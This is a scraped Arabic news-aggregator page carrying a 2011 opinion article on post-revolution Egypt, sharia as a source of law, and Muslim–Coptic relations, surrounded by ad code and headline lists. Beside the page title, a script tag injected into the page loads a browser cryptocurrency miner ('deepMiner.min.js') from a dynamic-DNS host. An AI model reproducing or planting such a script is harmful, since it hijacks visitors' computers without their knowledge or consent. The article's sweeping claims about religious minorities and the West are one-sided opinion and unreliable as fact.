googletag.defineSlot('/21620968445/Masress_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-1446553049-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_1', 'div-gpt-ad-1446553049-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553047-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_3', 'div-gpt-ad-1446553047-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553048-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_2', 'div-gpt-ad-1446553048-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Widget', [[222, 280]], 'div-gpt-ad-374346843-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Widget', 'div-gpt-ad-374346843-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1775746800-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Siteunder', 'div-gpt-ad-1775746800-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); مصرس : الثورة والحلم ببناء اليوتوبيا المصرية<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
رئيس جامعة أسيوط يتفقد الجولة الأخيرة في انتخابات اتحاد الطلاب    ألبومات ذات صلة    وزير الاستثمار: الرئيس السيسي وجه بالاهتمام برواد الأعمال    الملا من شرم الشيخ: مصر تولى اهتمامًا كبيرًا بتطوير قطاع الطاقة والتعدين    وزير المالية ل«الشروق»: الالتزام بالبرامج البيئية شرط توفير التمويل للمشروعات    بروتوكول بين الأوقاف والتموين لتوزيع 250 طن سلع غذائية على الفقراء    وزارة التموين: الانتهاء من وضع معايير الاستحقاق الدعم التمويني بنهاية الشهر الجاري    مدرب بمركز إعداد القادة: حريصون على إعداد كوادر شابة تدير المنظومة الكهربائية    عشراوي: يجب العمل ضمن تحرك عالمي لمواجهة النظم الشعبوية والعنصرية والاستبدادية    نتائج تحقيقات النيابة العامة السعودية فى قضية مقتل خاشقجى فى 17 معلومة    الخبر التالى:    شاهد.. لقطات مرعبة لجحيم كاليفورنيا بعد وصوله للطرق السريعة    محاضرة فيديو للاعبي منتخب مصر استعدادا لمباراة تونس    الخطوط الكويتية: استئناف الرحلات الجوية بمطار الكويت الدولى    أخبار قد تهمك    وكيل أمن الدولة السابق: إطلاق اسم الشهيد ساطع على ميدن النهضة أثلج صدور المصريين    كاميرات المراقبة تكشف عاطل وراء سرقة 9 شاشات من محل بلاى استيشن فى الزيتون    ضبط 11 مخالفة تموينية في حملة بمطروح    ضبط امرأة هاربة من تنفيذ 42 سنة سجن بالبحيرة    قيمتها الإجمالية مليون ريال: السعودية تُطلق جائزة عالمية للشعر العربي تحمل اسم الأمير عبدالله الفيصل    شاهد.. صور تجمع ماجدة الرومى ويسرا وإلهام شاهين وكارول سماحة    شاهد.. لقاء سويدان برفقة داليا مصطفى من كواليس "البيت الكبير 2"    محافظ أسوان يهنئ الدكتور مجدي يعقوب بمناسبة عيد ميلاده    أسهم أوروبا ترتفع مع صعود شركات التعدين وسط آمال بشأن التجارة    قنبلة بوزارة الخارجية تدفع إسرائيل لإعلان الطوارئ    الجمهوريون ينتخبون كيفن ماكارثي زعيما للأقلية في الكونجرس    الخبر التالى:    «الأرصاد»: درجات الحرارة أقل من معدلاتها.. وتعود لطبيعتها بدءًا من الأسبوع المقبل    ضبط 11 عنصرا إجراميا و 3 قضايا مخدرات بحملة أمنية بالعبور    أسرار ومفاجآت وراء قرار وليد سليمان باعتزال اللعب دوليا    بطل بروندي يحدد موعد مواجهة الإسماعيلي بدوري الأبطال    غدا.. وزير الأوقاف يلتقي قيادات الدعوة بالدقهلية    سيل يضرب وادي الرحبة في جنوب سيناء ويغلق طريق سانت كاترين    30 يونيو.. الانتهاء من الأعمال الإنشائية بمستشفى جهينة المركزي    محافظ الأقصر يلتقى وفد مشروع إعادة اكتشاف الأصول التراثية لإسنا    مكتبة مصر الجديدة تظهر بإطلالة جديدة في عيد ميلادها ال 73    ميندي لاعب سيتي يخضع لجراحة في الركبة    إغلاق الأكاديمية الدولية للتعليم بسبب العمل بدون ترخيص    بالصور.. انطلاق المؤتمر الدولي الأول للجراحات الوظيفية للجهاز العصبي لجامعة الأزهر    متحف النسيج ينظم احتفالية بمناسبة المولد النبوي الشريف واليوم العالمي للطفولة    رئيس كوريا الجنوبية: التحالف بين سول وواشنطن يقود بيونج يانج إلى طاولة الحوار    علي معلول ومحمد نجيب يواصلان التأهيل في الأهلي    أخبار قد تهمك    «أوراسكوم للاستثمار» تضاعف أرباحها 3.5 مرة خلال 9 شهور    خالد سرحان يواصل تصوير مشاهده فى "قيد عائلى"    فيديو| الإفتاء تطالب بتجاهل فتاوى المتشددين في الاحتفال بالمولد النبوي    " جروس" يصل القاهرة اليوم ليستكمل تدريبات الزمالك    الزمالك يقترب من خطف نجم الأهلي    أنباء عن وقف التحالف العربي عملياته في الحديدة    تناول 4 فناجين قهوة يومياً يقى من مرض السكر    شاهد.. الكلية الفنية العسكرية تحصد جائزتين    دراسة: البشر أفضل في تذكر الأسماء عن الوجوه    بيع قلادة ماري أنطوانيت ب36 مليون دولار في مزاد بجنيف    وزير الشباب في نادي الزمالك للتمهيد لزيارة رئيس الوزراء    تعالوا نبدأ بأنفسنا    بوضوح    كلام بحب    .. والسلام ختام    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





الثورة والحلم ببناء اليوتوبيا المصرية
نشر في شباب مصر يوم 16 - 05 - 2011


ا
إن ما يحدث في مصر أعقاب الثورة ظاهرة صحية لاقتراب وجهات النظر ولوضع قوانين جديدة لبناء مدينة فاضلة خالية من الفتن الطائفية والشجون وآلام الماضي مدينة شعارها لا للبطالة لا للفساد لا للدكتاتورية.
عنوانها دعوة إلى العمل والتقدم والازدهار سياساتها الدين لله والوطن للجميع ونأخذ من الدين الدعوة إلى التسامح والإخوة في الوطن وتركيا اقرب ما تكون إلى هذه المدينة.
فرجال الدين نحن نقدرهم ونضعهم في مكانة كبيرة ولكن في القلب وتدخلهم السلبي بالتصدي لسلطان الدولة وهيبتها سوف يقضى على استقرار اليوتوبيا" المدينة الفاضلة" وإذا رجعت بنا الذاكرة إلى الوراء في العصور الوسطى في أوربا بالتحديد سنجد إن سبب تسمية ذلك العصر عندهم بعصر الظلام لأنه سبب تحكم واستئثار الكنيسة في كافة الأمور و بالتدخل في شئون البلاد ويكفى إن الحملات الصليبية جميعها قامت على أكتاف رجال الدين ولم يرتاح الغرب إلا بفصل الدين عن ا لكنيسة ومن ثم جاء عصر التنوير الذي بني عليه حضارته من حيث وقفت الحضارة الإسلامية.
فالحضارة الإسلامية قامت بفضل الإسلام وانتشرت في مشارق الأرض و مغاربها واخذ العالم الغربي عنها الأسس والنظريات في كافة العلوم ليبنى عليها تقدمه ولا نستطيع فصل تلك الحضارة عن الدين لان الدين هو سبب وجودها ولكن ضعف الدولة الإسلامية وانهيارها قضى على هذا التقدم وهذه سنة الحياة وبفضل الإسلام وسماحته عاشت الأقليات في مصر دون ضغوط تمارس حرية العقيدة منذ الفتح الاسلامى عام 21 هجرياً حتى انحلال الخلافة الإسلامية عام 1924 على يد مصطفى كمال أتاتورك المتأثر بالحضارة الغربية وحوّل الحروف العربية بالتركية إلى الحروف اللاتينية ليواكب أوربا حتى أنهم تصارعوا للانضمام إلى الاتحاد الاوربى ومن ثم استطاعت تركيا إن تنتصر على نفسها فواكبت التقدم .
لكن ماذا عن اليوتوبيا المصرية وتخوف الأخر من الشريعة الإسلامية الغراء ، ولماذا يخافون ألان ، ولماذا لم يعترضوا خلال أربعة عشر قرن من الزمان ، هل لضعف العالم الاسلامى وتحكم الغرب في مقدرات الشعوب الإسلامية ومن ثم لماذا الوقوف ضد إيران التي تسعى لبناء مفاعلات نووية لتواكب الآخرين ؟ لماذا يتاح لإسرائيل بناء مفاعلات ولماز الوقوف بالمرصاد أمام اى دولة إسلامية تفكر في الاهتمام بالطاقة النووية .
في حقيقة الأمر إن ارتفاع الأصوات المواكبة لضجيج الأجراس سوف يشعل نار الفتنة فالشعب المصري شعب متدين بطبيعته ولكن هو شعب يتسم بالحكمة والعدل مع غير المسلمين.
إذ أخذنا الدول الأوربية مثال فنجد إن الدين الرسمي هو دين الأغلبية وهو المسيحية حتى اختيار الرئيس يكون بناء على مذهب الأغلبية كما في انجلترا واليونان واسبانيا والدانمرك... الخ
إذن لماذا تقف الأقلية المسيحية المصرية في وجه الأغلبية المسلمة وهذه الأغلبية كانت أغلبية نصرانية في وقت ما في القرن السابع الميلادي الأول الهجري ولكن بفضل سماحة وتعاليم الإسلام تحولت إلى الإسلام وهم يمثلون 90% من النصارى الأقباط وكان عدد القبائل الإسلامية لا يساوى ثمن الشعب المصري في ذلك الوقت حتى بلغ النصارى الأقباط في مصر 10 مليون نسمة في حين إن عدد المسلمين 75 مليون نسمة فهل تتبع الأغلبية الأقلية أم العكس.
الشريعة الإسلامية ليس معناها إقامة حد الرجم أو قطع اليد ولكن المقصود إقامة قوانين مدنية لا تعترض مع الشريعة الإسلامية مثل المعارضة على تصنيع لحم الخنزير وبيع الخمور وفتح خانات للفسق والفجور ولعب القمار والوقوف ضد الربا الفاحش كل هذه الأشياء إذا صدر بها قانون لإباحتها عيانا بيانا فالشريعة الإسلامية تقف أمامها بالاعتراض ومن ثم إذا سنت قوانين تعارض الشريعة تسقط أمام المحكمة الدستورية العليا وإذا تركنا تلك المرجعية لوجدنا الآلاف من القوانين التي تطبق ولكن ليست للمصلحة العامة ولكن لمصلحة الخاصة أو لفئة بعينها.
من هنا يقول المنطق و العقل لقد أوصى رسول الله وخاتم النبيين بأهل الذمة وبغير المسلمين خيرا وعاش النصارى مع المسلمين جنبا إلى جنب وعهود ألامان المحفوظة بدير سانت كاترين شاهدة على ذلك ووجدوا معاملة كريمة من المسلمين ،عكس معاملة الغرب المتعصبة للكثلكة فأذاقوا نصارى المذاهب الاخري ويلات العذاب بمحاكم التفتيش بأسبانيا ولشبونة والبرتغال حيث التطهير العرقي والحرق والتنكيل والتعذيب لمجرد تغيير المذهب وليس تغيير الديانة ولاتهامهم بالهرطقة وحيادهم عن للكثلكة كما لم ينجو المسلمون واليهود بالأندلس.
فالدين الاسلامى يدعوا إلى السماحة ومصر الأزهر مصدر الدعوة إلى العالم اجمع وكيف لبلد مسلم له مكانة في قلب العالم الاسلامى لا يستطيع إن يتخذ من الدين نظام يميزها عن الأخريات من الدول التي تتخذ المسيحية دين رسمي لها .
حسين الشندويلى
هيئة قناة السويس


انقر هنا لقراءة الخبر من مصدره.